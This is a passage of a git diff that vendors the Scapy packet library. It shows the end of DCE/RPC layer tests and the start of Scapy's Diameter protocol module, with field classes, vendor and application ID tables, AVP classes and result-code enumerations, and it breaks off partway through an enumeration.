f.default) == hex_bytes('0123456789abcdef0123456789abcdef') + + ++ Check DCE/RPC layer + += DCE/RPC default values +bytes(DceRpc()) == bytearray.fromhex('04000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000ffffffff000000000000') + += DCE/RPC payload length computation +bytes(DceRpc() / b'\x00\x01\x02\x03') == bytearray.fromhex('04000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000ffffffff00040000000000010203') + += DCE/RPC Guess payload class fallback with no possible payload +p = DceRpc(bytearray.fromhex('04000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000ffffffff00040000000000010203')) +p.payload.__class__ == conf.raw_layer + += DCE/RPC Guess payload class to a registered heuristic payload +* A payload to be valid must implement the method can_handle and be registered to DceRpcPayload +from scapy.contrib.dce_rpc import *; import binascii, re +class DummyPayload(Packet): + fields_desc = [StrField('load', '')] + @classmethod + def can_handle(cls, pkt, dce): + if pkt[0] in [b'\x01', 1]: # support for py3 bytearray + return True + else: + return False + +DceRpcPayload.register_possible_payload(DummyPayload) +p = DceRpc(bytearray.fromhex('04000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000ffffffff00040000000001020304')) +p.payload.__class__ == DummyPayload + += DCE/RPC Guess payload class fallback with possible payload classes +p = DceRpc(bytearray.fromhex('04000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000ffffffff00040000000000010203')) +p.payload.__class__ == conf.raw_layer + += DCE/RPC little-endian build +bytes(DceRpc(type='response', endianness='little', opnum=3) / b'\x00\x01\x02\x03') == bytearray.fromhex('04020000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000300ffffffff04000000000000010203') + += DCE/RPC little-endian dissection +p = DceRpc(bytearray.fromhex('04020000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000300ffffffff04000000000000010203')) +p.type == 2 and p.opnum == 3 and p.frag_len == 4 diff --git a/libs/scapy/contrib/diameter.py b/libs/scapy/contrib/diameter.py new file mode 100755 index 0000000..870d71c --- /dev/null +++ b/libs/scapy/contrib/diameter.py @@ -0,0 +1,4835 @@ +########################################################################## +# +# Diameter protocol implementation for Scapy +# Original Author: patrick battistello +# +# This implements the base Diameter protocol RFC6733 and the additional standards: # noqa: E501 +# RFC7155, RFC4004, RFC4006, RFC4072, RFC4740, RFC5778, RFC5447, RFC6942, RFC5777 # noqa: E501 +# ETS29229 V12.3.0 (2014-09), ETS29272 V13.1.0 (2015-03), ETS29329 V12.5.0 (2014-12), # noqa: E501 +# ETS29212 V13.1.0 (2015-03), ETS32299 V13.0.0 (2015-03), ETS29210 V6.7.0 (2006-12), # noqa: E501 +# ETS29214 V13.1.0 (2015-03), ETS29273 V12.7.0 (2015-03), ETS29173 V12.3.0 (2015-03), # noqa: E501 +# ETS29172 V12.5.0 (2015-03), ETS29215 V13.1.0 (2015-03), ETS29209 V6.8.0 (2011-09), # noqa: E501 +# ETS29061 V13.0.0 (2015-03), ETS29219 V13.0.0 (2014-12) +# +# IMPORTANT note: +# +# - Some Diameter fields (Unsigned64, Float32, ...) have not been tested yet due to lack # noqa: E501 +# of network captures containing AVPs of that types contributions are welcomed. # noqa: E501 +# +########################################################################## + +# scapy.contrib.description = Diameter +# scapy.contrib.status = loads + +import socket +import struct +from time import ctime + +from scapy.packet import Packet, bind_layers +from scapy.fields import ConditionalField, EnumField, Field, FieldLenField, \ + FlagsField, IEEEDoubleField, IEEEFloatField, IntEnumField, IntField, \ + LongField, PacketListField, SignedIntField, StrLenField, X3BytesField, \ + XByteField, XIntField +from scapy.layers.inet import TCP +from scapy.layers.sctp import SCTPChunkData +import scapy.modules.six as six +from scapy.modules.six.moves import range +from scapy.compat import chb, orb, raw, bytes_hex, plain_str +from scapy.error import warning +from scapy.utils import inet_ntoa, inet_aton +from scapy.pton_ntop import inet_pton, inet_ntop + +##################################################################### +##################################################################### +# +# Definition of additional fields +# +##################################################################### +##################################################################### + + +class I3BytesEnumField (X3BytesField, EnumField): + """ 3 bytes enum field """ + + def __init__(self, name, default, enum): + EnumField.__init__(self, name, default, enum, "!I") + + +class I3FieldLenField(X3BytesField, FieldLenField): + __slots__ = ["length_of", "count_of", "adjust"] + + def __init__( + self, + name, + default, + length_of=None, + count_of=None, + adjust=lambda pkt, + x: x): + X3BytesField.__init__(self, name, default) + self.length_of = length_of + self.count_of = count_of + self.adjust = adjust + + def i2m(self, pkt, x): + return FieldLenField.i2m(self, pkt, x) + +########################################################### +# Fields for Diameter commands +########################################################### + + +class DRFlags (FlagsField): + def i2repr(self, pkt, x): + if x is None: + return "None" + res = hex(int(x)) + r = '' + cmdt = (x & 128) and ' Request' or ' Answer' + if x & 15: # Check if reserved bits are used + nb = 8 + offset = 0 + else: # Strip the first 4 bits + nb = 4 + offset = 4 + x >>= 4 + for i in range(nb): + r += (x & 1) and str(self.names[offset + i][0]) or '-' + x >>= 1 + invert = r[::-1] + return res + cmdt + ' (' + invert[:nb] + ')' + + +class DRCode (I3BytesEnumField): + def __init__(self, name, default, enum): + """enum is a dict of tuples, so conversion is required before calling the actual init method. # noqa: E501 + Note: the conversion is done only once.""" + enumDict = {} + for k, v in enum.items(): + enumDict[k] = v[0] + I3BytesEnumField.__init__(self, name, default, enumDict) + + def i2repr(self, pkt, x): + cmd = self.i2repr_one(pkt, x) + sx = str(x) + if cmd == sx: + cmd = 'Unknown' + return sx + " (" + cmd + ")" + +########################################################### +# Fields for Diameter AVPs +########################################################### + + +class AVPFlags (FlagsField): + def i2repr(self, pkt, x): + if x is None: + return "None" + res = hex(int(x)) + r = '' + if x & 31: # Check if reserved bits are used + nb = 8 + offset = 0 + else: # Strip the first 5 bits + nb = 3 + offset = 5 + x >>= 5 + for i in range(nb): + r += (x & 1) and str(self.names[offset + i][0]) or '-' + x >>= 1 + invert = r[::-1] + return res + ' (' + invert[:nb] + ')' + + +class AVPVendor (IntField): + def i2repr(self, pkt, x): + vendor = vendorList.get(x, "Unkown_Vendor") + return "%s (%s)" % (vendor, str(x)) + + +# Note the dictionary below is minimal (taken from scapy/layers/dhcp6.py +# + added 3GPP and ETSI +vendorList = { + 9: "ciscoSystems", + 35: "Nortel Networks", + 43: "3Com", + 311: "Microsoft", + 323: "Tekelec", + 2636: "Juniper Networks, Inc.", + 4526: "Netgear", + 5771: "Cisco Systems, Inc.", + 5842: "Cisco Systems", + 8164: "Starent Networks", + 10415: "3GPP", + 13019: "ETSI", + 16885: "Nortel Networks"} + +# The Application IDs for the Diameter command field +AppIDsEnum = { + 0: "Diameter_Common_Messages", + 1: "NASREQ_Application", + 2: "Mobile_IPv4_Application", + 3: "Diameter_Base_Accounting", + 4: "Diameter_Credit_Control_Application", + 5: "EAP_Application", + 6: "Diameter_Session_Initiation_Protocol_(SIP)_Application", + 7: "Diameter_Mobile_IPv6_IKE___(MIP6I)", + 8: "Diameter_Mobile_IPv6_Auth__(MIP6A)", + 111: "ALU_Sy", + 555: "Sun_Ping_Application", + 16777216: "3GPP_Cx", + 16777217: "3GPP_Sh", + 16777222: "3GPP_Gq", + 16777223: "3GPP_Gmb", + 16777224: "3GPP_Gx", + 16777227: "Ericsson_MSI", + 16777228: "Ericsson_Zx", + 16777229: "3GPP_RX", + 16777231: "Diameter_e2e4_Application", + 16777232: "Ericsson_Charging-CIP", + 16777236: "3GPP_Rx", + 16777238: "3GPP_Gx", + 16777250: "3GPP_STa", + 16777251: "3GPP_S6a/S6d", + 16777252: "3GPP_S13/S13'", + 16777255: "3GPP_SLg", + 16777264: "3GPP_SWm", + 16777265: "3GPP_SWx", + 16777266: "3GPP_Gxx", + 16777267: "3GPP_S9", + 16777269: "Ericsson_HSI", + 16777272: "3GPP_S6b", + 16777291: "3GPP_SLh", + 16777292: "3GPP_SGmb", + 16777302: "3GPP_Sy", + 16777304: "Ericsson_Sy", + 16777315: "Ericsson_Diameter_Signalling_Controller_Application_(DSC)", + 4294967295: "Relay", +} + + +########################################################### +# Definition of fields contained in section 4.2 of RFC6733 +# for AVPs payloads +########################################################### + +class OctetString (StrLenField): + def i2repr(self, pkt, x): + try: + return plain_str(x) + except BaseException: + return bytes_hex(x) + + +class Integer32 (SignedIntField): + pass + + +class Integer64 (Field): + def __init__(self, name, default): + Field.__init__(self, name, default, "q") + + +class Unsigned32 (IntField): + pass + + +class Unsigned64 (LongField): + pass + + +class Float32 (IEEEFloatField): + pass + + +class Float64 (IEEEDoubleField): + pass + + +########################################################### +# Definition of additional fields contained in section 4.3 +# of RFC6733 for AVPs payloads +########################################################### + +class Address (StrLenField): + def i2repr(self, pkt, x): + if x.startswith(b'\x00\x01'): # IPv4 address + return inet_ntoa(x[2:]) + elif x.startswith(b'\x00\x02'): # IPv6 address + return inet_ntop(socket.AF_INET6, x[2:]) + else: # Address format not yet decoded + print('Warning: Address format not yet decoded.') + return bytes_hex(x) + + def any2i(self, pkt, x): + if x and isinstance(x, str): + try: # Try IPv4 conversion + s = inet_aton(x) + return b'\x00\x01' + s + except BaseException: + try: # Try IPv6 conversion + s = inet_pton(socket.AF_INET6, x) + return b'\x00\x02' + s + except BaseException: + print('Warning: Address format not supported yet.') + return b'' + + +class Time (IntField): + def i2repr(self, pkt, x): + return ctime(x) + + +class Enumerated (IntEnumField): + def i2repr(self, pkt, x): + if x in self.i2s: + return self.i2s[x] + " (%d)" % x + else: + return repr(x) + " (Unknown)" + + +class IPFilterRule (StrLenField): + pass + + +class Grouped (StrLenField): + """This class is just for declarative purpose because it is used in the AVP definitions dict.""" # noqa: E501 + pass + + +#################################################################### +# Definition of additional fields contained in other standards +#################################################################### + +class QoSFilterRule (StrLenField): # Defined in 4.1.1 of RFC7155 + pass + + +class ISDN (StrLenField): + def i2repr(self, pkt, x): + out = b'' + for char in x: + c = orb(char) + out += chb(48 + (c & 15)) # convert second digit first + v = (c & 240) >> 4 + if v != 15: + out += chb(48 + v) + return out + + def any2i(self, pkt, x): + out = b'' + if x: + fd = True # waiting for first digit + for c in x: + digit = orb(c) - 48 + if fd: + val = digit + else: + val = val + 16 * digit + out += chb(val) + fd = not fd + if not fd: # Fill with 'f' if odd number of characters + out += chb(240 + val) + return out + + +##################################################################### +##################################################################### +# +# AVPs classes and definitions +# +##################################################################### +##################################################################### + +AVP_Code_length = 4 +AVP_Flag_length = 1 +DIAMETER_BYTES_ALIGNMENT = 4 +AVP_Flags_List = ["x", "x", "x", "x", "x", "P", "M", "V"] + + +def GuessAvpType(p, **kargs): + if len(p) > AVP_Code_length + AVP_Flag_length: + # Set AVP code and vendor + avpCode = struct.unpack("!I", p[:AVP_Code_length])[0] + vnd = bool(struct.unpack( + "!B", p[AVP_Code_length:AVP_Code_length + AVP_Flag_length])[0] & 128) # noqa: E501 + vndCode = vnd and struct.unpack("!I", p[8:12])[0] or 0 + # Check if vendor and code defined and fetch the corresponding AVP + # definition + if vndCode in AvpDefDict: + AvpVndDict = AvpDefDict[vndCode] + if avpCode in AvpVndDict: + # Unpack only the first 4 tuple items at this point + avpName, AVPClass, flags = AvpVndDict[avpCode][:3] + result = AVPClass(p, **kargs) + result.name = 'AVP ' + avpName + return result + # Packet too short or AVP vendor or AVP code not found ... + return AVP_Unknown(p, **kargs) + + +class AVP_Generic (Packet): + """ Parent class for the 5 following AVP intermediate classes below""" + + def extract_padding(self, s): + nbBytes = self.avpLen % DIAMETER_BYTES_ALIGNMENT + if nbBytes: + nbBytes = DIAMETER_BYTES_ALIGNMENT - nbBytes + return s[:nbBytes], s[nbBytes:] + + def post_build(self, p, pay): + nbBytes = (-len(p)) % 4 + while nbBytes: + p += struct.pack("B", 0) + nbBytes -= 1 + return p + pay + + def show2(self): + self.__class__(raw(self), name=self.name).show() + + +def AVP(avpId, **fields): + """ Craft an AVP based on its id and optional parameter fields""" + val = None + classType = AVP_Unknown + if isinstance(avpId, str): + try: + for vnd in AvpDefDict: + for code in AvpDefDict[vnd]: + val = AvpDefDict[vnd][code] + if val[0][:len( + avpId)] == avpId: # A prefix of the full name is considered valid # noqa: E501 + raise + found = False + except BaseException: + found = True + else: + if isinstance(avpId, list): + code = avpId[0] + vnd = avpId[1] + else: # Assume this is an int + code = avpId + vnd = 0 + try: + val = AvpDefDict[vnd][code] + found = True + except BaseException: + found = False + if not found: + warning('The AVP identifier %s has not been found.' % str(avpId)) + if isinstance(avpId, str): # The string input is not valid + return None + # At this point code, vnd are provisionned val may be set (if found is True) # noqa: E501 + # Set/override AVP code + fields['avpCode'] = code + # Set vendor if not already defined and relevant + if 'avpVnd' not in fields and vnd: + fields['avpVnd'] = vnd + # Set flags if not already defined and possible ... + if 'avpFlags' not in fields: + if val: + fields['avpFlags'] = val[2] + else: + fields['avpFlags'] = vnd and 128 or 0 + # Finally, set the name and class if possible + if val: + classType = val[1] + _ret = classType(**fields) + if val: + _ret.name = 'AVP ' + val[0] + return _ret + + +# AVP intermediate classes: +############################ + +class AVP_FL_NV (AVP_Generic): + """ Defines the AVP of Fixed Length with No Vendor field.""" + fields_desc = [ + IntField("avpCode", None), + AVPFlags("avpFlags", None, 8, AVP_Flags_List), + X3BytesField("avpLen", None) + ] + + +class AVP_FL_V (AVP_Generic): + """ Defines the AVP of Fixed Length with Vendor field.""" + fields_desc = [ + IntField("avpCode", None), + AVPFlags("avpFlags", None, 8, AVP_Flags_List), + X3BytesField("avpLen", None), + AVPVendor("avpVnd", 0) + ] + + +class AVP_VL_NV (AVP_Generic): + """ Defines the AVP of Variable Length with No Vendor field.""" + fields_desc = [ + IntField("avpCode", None), + AVPFlags("avpFlags", None, 8, AVP_Flags_List), + I3FieldLenField("avpLen", None, length_of="val", + adjust=lambda pkt, x:x + 8) + ] + + +class AVP_VL_V (AVP_Generic): + """ Defines the AVP of Variable Length with Vendor field.""" + fields_desc = [ + IntField("avpCode", None), + AVPFlags("avpFlags", None, 8, AVP_Flags_List), + I3FieldLenField("avpLen", None, length_of="val", + adjust=lambda pkt, x:x + 12), + AVPVendor("avpVnd", 0) + ] + + +class AVP_Unknown (AVP_Generic): + """ The default structure for AVPs which could not be decoded (optional vendor field, variable length). """ # noqa: E501 + name = 'AVP Unknown' + fields_desc = [ + IntField("avpCode", None), + AVPFlags("avpFlags", None, 8, AVP_Flags_List), + I3FieldLenField("avpLen", None, length_of="val", + adjust=lambda pkt, x:x + 8 + ((pkt.avpFlags & 0x80) >> 5)), # noqa: E501 + ConditionalField(AVPVendor("avpVnd", 0), lambda pkt:pkt.avpFlags & 0x80), # noqa: E501 + StrLenField("val", None, + length_from=lambda pkt:pkt.avpLen - 8 - ((pkt.avpFlags & 0x80) >> 5)) # noqa: E501 + ] + + +# AVP 'low level' classes: +############################ + +class AVPV_StrLenField (AVP_VL_V): + fields_desc = [ + AVP_VL_V, + StrLenField("val", None, length_from=lambda pkt:pkt.avpLen - 12) + ] + + +class AVPNV_StrLenField (AVP_VL_NV): + fields_desc = [ + AVP_VL_NV, + StrLenField("val", None, length_from=lambda pkt:pkt.avpLen - 8) + ] + + +class AVPV_OctetString (AVP_VL_V): + fields_desc = [ + AVP_VL_V, + OctetString("val", None, length_from=lambda pkt:pkt.avpLen - 12) + ] + + +class AVPNV_OctetString (AVP_VL_NV): + fields_desc = [ + AVP_VL_NV, + OctetString("val", None, length_from=lambda pkt:pkt.avpLen - 8) + ] + + +class AVPV_Grouped (AVP_VL_V): + fields_desc = [ + AVP_VL_V, + PacketListField('val', [], GuessAvpType, + length_from=lambda pkt:pkt.avpLen - 12) + ] + + +class AVPNV_Grouped (AVP_VL_NV): + fields_desc = [ + AVP_VL_NV, + PacketListField('val', [], GuessAvpType, + length_from=lambda pkt:pkt.avpLen - 8)] + + +class AVPV_Unsigned32 (AVP_FL_V): + avpLen = 16 + fields_desc = [AVP_FL_V, Unsigned32('val', None)] + + +class AVPNV_Unsigned32 (AVP_FL_NV): + avpLen = 12 + fields_desc = [AVP_FL_NV, Unsigned32('val', None)] + + +class AVPV_Integer32 (AVP_FL_V): + avpLen = 16 + fields_desc = [AVP_FL_V, Integer32('val', None)] + + +class AVPNV_Integer32 (AVP_FL_NV): + avpLen = 12 + fields_desc = [AVP_FL_NV, Integer32('val', None)] + + +class AVPV_Unsigned64 (AVP_FL_V): + avpLen = 20 + fields_desc = [AVP_FL_V, Unsigned64('val', None)] + + +class AVPNV_Unsigned64 (AVP_FL_NV): + avpLen = 16 + fields_desc = [AVP_FL_NV, Unsigned64('val', None)] + + +class AVPV_Integer64 (AVP_FL_V): + avpLen = 20 + fields_desc = [AVP_FL_V, Integer64('val', None)] + + +class AVPNV_Integer64 (AVP_FL_NV): + avpLen = 16 + fields_desc = [AVP_FL_NV, Integer64('val', None)] + + +class AVPV_Time (AVP_FL_V): + avpLen = 16 + fields_desc = [AVP_FL_V, Time("val", None)] + + +class AVPNV_Time (AVP_FL_NV): + avpLen = 12 + fields_desc = [AVP_FL_NV, Time("val", None)] + + +class AVPV_Address (AVP_VL_V): + fields_desc = [ + AVP_VL_V, + Address("val", None, length_from=lambda pkt:pkt.avpLen - 12) + ] + + +class AVPNV_Address (AVP_VL_NV): + fields_desc = [ + AVP_VL_NV, + Address("val", None, length_from=lambda pkt:pkt.avpLen - 8) + ] + + +class AVPV_IPFilterRule (AVP_VL_V): + fields_desc = [ + AVP_VL_V, + IPFilterRule("val", None, length_from=lambda pkt:pkt.avpLen - 12) + ] + + +class AVPNV_IPFilterRule (AVP_VL_NV): + fields_desc = [ + AVP_VL_NV, + IPFilterRule("val", None, length_from=lambda pkt:pkt.avpLen - 8) + ] + + +class AVPV_QoSFilterRule (AVP_VL_V): + fields_desc = [ + AVP_VL_V, + QoSFilterRule("val", None, length_from=lambda pkt:pkt.avpLen - 12) + ] + + +class AVPNV_QoSFilterRule (AVP_VL_NV): + fields_desc = [ + AVP_VL_NV, + QoSFilterRule("val", None, length_from=lambda pkt:pkt.avpLen - 8) + ] + + +############################################### +# Actual AVPs based on previous parent classes +############################################### + +# AVP special classes (which required interpretation/adaptation from standard) +############################################################################## + +class AVP_0_258 (AVP_FL_NV): + name = 'AVP Auth-Application-Id' + avpLen = 12 + fields_desc = [AVP_FL_NV, Enumerated('val', None, AppIDsEnum)] + + +class AVP_0_266 (AVP_FL_NV): + name = 'AVP Vendor-Id' + avpLen = 12 + fields_desc = [AVP_FL_NV, Enumerated('val', None, vendorList)] + + +class AVP_0_268 (AVP_FL_NV): + name = 'AVP Result-Code' + avpLen = 12 + fields_desc = [AVP_FL_NV, + Enumerated('val', + None, + {1001: "DIAMETER_MULTI_ROUND_AUTH", + 2001: "DIAMETER_SUCCESS", + 2002: "DIAMETER_LIMITED_SUCCESS", + 2003: "DIAMETER_FIRST_REGISTRATION", + 2004: "DIAMETER_SUBSEQUENT_REGISTRATION", + 2005: "DIAMETER_UNREGISTERED_SERVICE", + 2006: "DIAMETER_SUCCESS_SERVER_NAME_NOT_STORED", + 2007: "DIAMETER_SERVER_SELECTION", + 2008: "DIAMETER_SUCCESS_AUTH_SENT_SERVER_NOT_STORED", # noqa: E501 + 2009: "DIAMETER_SUCCESS_RELOCATE_HA", + 3001: "DIAMETER_COMMAND_UNSUPPORTED", + 3002: "DIAMETER_UNABLE_TO_DELIVER", + 3003: "DIAMETER_REALM_NOT_SERVED", + 3004: "DIAMETER_TOO_BUSY", + 3005: "DIAMETER_LOOP_DETECTED", + 3006: "DIAMETER_REDIRECT_INDICATION", + 3007: "DIAMETER_APPLICATION_UNSUPPORTED", + 3008: "DIAMETER_INVALID_HDR_BITS", + 3009: "DIAMETER_INVALID_AVP_BITS", + 3010: "DIAMETER_UNKNOWN_PEER", + 4001: "DIAMETER_AUTHENTICATION_REJECTED", + 4002: "DIAMETER_OUT_OF_SPACE", + 4003: "DIAMETER_ELECTION_LOST", + 4005: "DIAMETER_ERROR_MIP_REPLY_FAILURE", + 4006: "DIAMETER_ERROR_HA_NOT_AVAILABLE", + 4007: "DIAMETER_ERROR_BAD_KEY", + 4008: "DIAMETER_ERROR_MIP_FILTER_NOT_SUPPORTED", + 4010: "DIAMETER_END_USER_SERVICE_DENIED", + 4011: "DIAMETER_CREDIT_CONTROL_NOT_APPLICABLE", + 4012: "DIAMETER_CREDIT_LIMIT_REACHED", + 4013: "DIAMETER_USER_NAME_REQUIRED", + 4241: "DIAMETER_END_USER_SERVICE_DENIED", + 5001: "DIAMETER_AVP_UNSUPPORTED", + 5002: "DIAMETER_UNKNOWN_SESSION_ID", + 5003: "DIAMETER_AUTHORIZATION_REJECTED", + 5004: "DIAMETER_INVALID_AVP_VALUE", + 5005: "DIAMETER_MISSING_AVP", + 5006: "DIAMETER_RESOURCES_EXCEEDED", + 5007: "DIAMETER_CONTRADICTING_AVPS", + 5008: "DIAMETER_AVP_NOT_ALLOWED", + 5009: "DIAMETER_AVP_OCCURS_TOO_MANY_TIMES", + 5010: "DIAMETER_NO_COMMON_APPLICATION", + 5011: "DIAMETER_UNSUPPORTED_VERSION", + 5012: "DIAMETER_UNABLE_TO_COMPLY", + 5013: "DIAMETER_INVALID_BIT_IN_HEADER", + 5014: "DIAMETER_INVALID_AVP_LENGTH", + 5015: "DIAMETER_INVALID_MESSAGE_LENGTH", + 5016: "DIAMETER_INVALID_AVP_BIT_COMBO", + 5017: "DIAMETER_NO_COMMON_SECURITY", + 5018: "DIAMETER_RADIUS_AVP_UNTRANSLATABLE", + 5024: "DIAMETER_ERROR_NO_FOREIGN_HA_SERVICE", + 5025: "DIAMETER_ERROR_END_TO_END_MIP_KEY_ENCRYPTION", # noqa: E501 + 5030: "DIAMETER_USER_UNKNOWN", + 5031: "DIAMETER_RATING_FAILED", + 5032: "DIAMETER_ERROR_USER_UNKNOWN", + 5033: "DIAMETER_ERROR_IDENTITIES_DONT_MATCH", + 5034: "DIAMETER_ERROR_IDENTITY_NOT_REGISTERED", + 5035: "DIAMETER_ERROR_ROAMING_NOT_ALLOWED", + 5036: "DIAMETER_ERROR_IDENTITY_ALREADY_REGISTERED", # noqa: E501 + 5037: "DIAMETER_ERROR_AUTH_SCHEME_NOT_SUPPORTED", # noqa: E501 + 5038: "DIAMETER_ERROR_IN_ASSIGNMENT_TYPE", + 5039: "DIAMETER_ERROR_TOO_MUCH_DATA", + 5040: "DIAMETER_ERROR_NOT SUPPORTED_USER_DATA", + 5041: "DIAMETER_ERROR_MIP6_AUTH_MODE", + 5241: "DIAMETER_END_USER_NOT_FOUND", + })] + + +class AVP_0_298 (AVP_FL_NV): + name = 'AVP Experimental-Result-Code' + avpLen = 12 + fields_desc = [ + AVP_FL_NV, + Enumerated( + 'val', + None, + { + 2001: "DIAMETER_FIRST_REGISTRATION", + 2002: "DIAMETER_SUBSEQUENT_REGISTRATION", + 2003: "DIAMETER_UNREGISTERED_SERVICE", + 2004: "DIAMETER_SUCCESS_SERVER_NAME_NOT_STORED", + 2021: "DIAMETER_PDP_CONTEXT_DELETION_INDICATION", + 4100: "DIAMETER_USER_DATA_NOT_AVAILABLE", + 4101: "DIAMETER_PRIOR_UPDATE_IN_PROGRESS", + 4121: "DIAMETER_ERROR_OUT_OF_RESOURCES", + 4141: "DIAMETER_PCC_BEARER_EVENT", + 4181: "DIAMETER_AUTHENTICATION_DATA_UNAVAILABLE", + 4201: "DIAMETER_ERROR_ABSENT_USER", + 4221: "DIAMETER_ERROR_UNREACHABLE_USER", + 4222: "DIAMETER_ERROR_SUSPENDED_USER", + 4223: "DIAMETER_ERROR_DETACHED_USER", + 4224: "DIAMETER_ERROR_POSITIONING_DENIED", + 4225: "DIAMETER_ERROR_POSITIONING_FAILED", + 4226: "DIAMETER_ERROR_UNKNOWN_UNREACHABLE LCS_CLIENT", + 5001: "DIAMETER_ERROR_USER_UNKNOWN", + 5002: "DIAMETER_ERROR_IDENTITIES_DONT_MATCH", + 5003: "DIAMETER_ERROR_IDENTITY_NOT_REGISTERED", + 5004: "DIAMETER_ERROR_ROAMING_NOT_ALLOWED", + 5005: "DIAMETER_ERROR_IDENTITY_ALREADY_REGISTERED", + 5006: "DIAMETER_ERROR_AUTH_SCHEME_NOT_SUPPORTED", + 5007: "DIAMETER_ERROR_IN_ASSIGNMENT_TYPE", + 5008: "DIAMETER_ERROR_TOO_MUCH_DATA", + 5009: "DIAMETER_ERROR_NOT_SUPPORTED_USER_DATA", + 5010: "DIAMETER_MISSING_USER_ID", + 5011: "DIAMETER_ERROR_FEATURE_UNSUPPORTED", + 5041: "DIAMETER_ERROR_USER_NO_WLAN_SUBSCRIPTION", + 5042: "DIAMETER_ERROR_W-APN_UNUSED_BY_USER", + 5043: "DIAMETER_ERROR_W-DIAMETER_ERROR_NO_ACCESS_INDEPENDENT_SUBSCRIPTION", # noqa: E501 + 5044: "DIAMETER_ERROR_USER_NO_W-APN_SUBSCRIPTION", + 5045: "DIAMETER_ERROR_UNSUITABLE_NETWORK", + 5061: "INVALID_SERVICE_INFORMATION", + 5062: "FILTER_RESTRICTIONS", + 5063: "REQUESTED_SERVICE_NOT_AUTHORIZED", + 5064: "DUPLICATED_AF_SESSION", + 5065: "IP-CAN_SESSION_NOT_AVAILABLE", + 5066: "UNAUTHORIZED_NON_EMERGENCY_SESSION", + 5100: "DIAMETER_ERROR_USER_DATA_NOT_RECOGNIZED", + 5101: "DIAMETER_ERROR_OPERATION_NOT_ALLOWED", + 5102: "DIAMETER_ERROR_USER_DATA_CANNOT_BE_READ", + 5103: "DIAMETER_ERROR_USER_DATA_CANNOT_BE_MODIFIED", + 5104: "DIAMETER_ERROR_USER_DATA_CANNOT_BE_NOTIFIED", + 5105: "DIAMETER_ERROR_TRANSPARENT_DATA_OUT_OF_SYNC", + 5106: "DIAMETER_ERROR_SUBS_DATA_ABSENT", + 5107: "DIAMETER_ERROR_NO_SUBSCRIPTION_TO_DATA", + 5108: "DIAMETER_ERROR_DSAI_NOT_AVAILABLE", + 5120: "DIAMETER_ERROR_START_INDICATION", + 5121: "DIAMETER_ERROR_STOP_INDICATION", + 5122: "DIAMETER_ERROR_UNKNOWN_MBMS_BEARER_SERVICE", + 5123: "DIAMETER_ERROR_SERVICE_AREA", + 5140: "DIAMETER_ERROR_INITIAL_PARAMETERS", + 5141: "DIAMETER_ERROR_TRIGGER_EVENT", + 5142: "DIAMETER_BEARER_EVENT", + 5143: "DIAMETER_ERROR_BEARER_NOT_AUTHORIZED", + 5144: "DIAMETER_ERROR_TRAFFIC_MAPPING_INFO_REJECTED", + 5145: "DIAMETER_QOS_RULE_EVENT", + 5146: "DIAMETER_ERROR_TRAFFIC_MAPPING_INFO_REJECTED", + 5147: "DIAMETER_ERROR_CONFLICTING_REQUEST", + 5401: "DIAMETER_ERROR_IMPI_UNKNOWN", + 5402: "DIAMETER_ERROR_NOT_AUTHORIZED", + 5403: "DIAMETER_ERROR_TRANSACTION_IDENTIFIER_INVALID", + 5420: "DIAMETER_ERROR_UNKNOWN_EPS_SUBSCRIPTION", + 5421: "DIAMETER_ERROR_RAT_NOT_ALLOWED", + 5422: "DIAMETER_ERROR_EQUIPMENT_UNKNOWN", + 5423: "DIAMETER_ERROR_UNKNOWN_SERVING_NODE", + 5450: "DIAMETER_ERROR_USER_NO_NON_3GPP_SUBSCRIPTION", + 5451: "DIAMETER_ERROR_USER_NO_APN_SUBSCRIPTION", + 5452: "DIAMETER_ERROR_RAT_TYPE_NOT_ALLOWED", + 5470: "DIAMETER_ERROR_SUBSESSION", + 5490: "DIAMETER_ERROR_UNAUTHORIZED_REQUESTING_NETWORK", + 5510: "DIAMETER_ERROR_UNAUTHORIZED_REQUESTING_ENTITY", + 5511: "DIAMETER_ERROR_UNAUTHORIZED_SERVICE", + 5530: "DIAMETER_ERROR_INVALID_SME_ADDRESS", + 5531: "DIAMETER_ERROR_SC_CONGESTION", + 5532: "DIAMETER_ERROR_SM_PROTOCOL", + })] + + +class AVP_10415_630 (AVP_FL_V): + name = 'AVP Feature-List' + avpLen = 16 + fields_desc = [AVP_FL_V, + FlagsField('val', None, 32, + ['SiFC', + 'AliasInd', + 'IMSRestorationInd', + 'b3', + 'b4', + 'b5', + 'b6', + 'b7', + 'b8', + 'b9', + 'b10', + 'b11', + 'b12', + 'b13', + 'b14', + 'b15', + 'b16', + 'b17', + 'b18', + 'b19', + 'b20', + 'b21', + 'b22', + 'b23', + 'b24', + 'b25', + 'b26', + 'b27', + 'b28', + 'b29', + 'b30', + 'b31'])] + + +class AVP_10415_701 (AVP_VL_V): + name = 'AVP MSISDN' + fields_desc = [AVP_VL_V, ISDN('val', None, + length_from=lambda pkt:pkt.avpLen - 12)] + + +class AVP_10415_1643 (AVP_VL_V): + name = 'AVP A_MSISDN' + fields_desc = [AVP_VL_V, ISDN('val', None, + length_from=lambda pkt:pkt.avpLen - 12)] + + +# AVP enumerated classes (which could not be defined in AvpDefDict dict below) +############################################################################## + +class AVP_0_6 (AVP_FL_NV): + name = 'Service-Type' + avpLen = 12 + fields_desc = [ + AVP_FL_NV, + Enumerated('val', None, + { + 0: "Unknown", + 1: "Login", + 2: "Framed", + 3: "Callback-Login", + 4: "Callback-Framed", + 5: "Outbound", + 6: "Administrative", + 7: "NAS-Prompt", + 8: "Authenticate-Only", + 9: "Callback-NAS-Prompt", + 10: "Call Check", + 11: "Callback Administrative", + 12: "Voice", + 13: "Fax", + 14: "Modem Relay", + 15: "IAPP-Register", + 16: "IAPP-AP-Check", + 17: "Authorize Only", + 18: "Framed-Management", + })] + + +class AVP_0_7 (AVP_FL_NV): + name = 'Framed-Protocol' + avpLen = 12 + fields_desc = [ + AVP_FL_NV, + Enumerated('val', None, + { + 1: "PPP", + 2: "SLIP", + 3: "ARAP", + 4: "Gandalf", + 5: "Xylogics", + 6: 